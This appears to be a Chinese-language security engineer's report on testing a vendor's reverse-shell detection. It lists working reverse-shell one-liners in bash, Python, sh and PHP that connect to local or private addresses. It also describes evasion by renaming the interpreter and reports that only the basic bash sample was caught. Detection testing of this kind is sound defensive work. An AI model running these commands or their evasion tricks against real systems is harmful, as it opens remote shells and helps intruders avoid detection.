某厂商的反弹shell防护能力测试

问题背景

工作任务需要测试某厂商的反弹shell检测安全能力

测试思路:

  1. 挑选测试样本
    • 每一种检测策略挑选对应的1-3个样本
  2. 测试过程中
    • 如果某一类样本中的任意一个样本未通过测试,就不继续测试同类其他样本
    • 如果某一类样本完全被拦截,就尝试绕过

测试时需要注意下面的点,可能会影响测试结果

  • 反弹shell后,是否输入命令

分析过程

挑选测试样本

按照安全项目/HIDS/业务:入侵检测/反弹shell/3.反弹shell检测.md学习的检测策略,每一种检测策略挑选对应的1-3个样本。

  1. bash进程、默认文件描述符指向socket

    1
    bash -i >& /dev/tcp/127.0.0.1/2222 0>&1
  2. 没有bash进程、默认文件描述符不指向socket

    1
    python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',2222))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
  3. 对抗行为(使用其他sh解释器)

    1
    2
    3
    0<&196;exec 196<>/dev/tcp/127.0.0.1/2222; sh <&196 >&196 2>&196

    php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
  4. 对抗行为(修改sh解释器名称)

    修改bash、sh

    1
    2
    3
    cp /usr/bin/bash /usr/bin/x; x -i >& /dev/tcp/127.0.0.1/2222 0>&1      // x是bash

    cp /usr/bin/sh /usr/bin/y; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; y <&196 >&196 2>&196 // y是sh

测试结果

1 通过

2、3、4 不通过

总结

4类样本中,仅检测出1类最基础的反弹shell。

在测试过程中发现:

  • 检测到反弹shell后不会立马告警:厂商会检测shell是否执行命令,如果仅仅反弹shell但是没有执行命令就不会被拦截

参考

Reverse Shell Cheat Sheet
云上威胁检测 | 详解反弹shell多维检测技术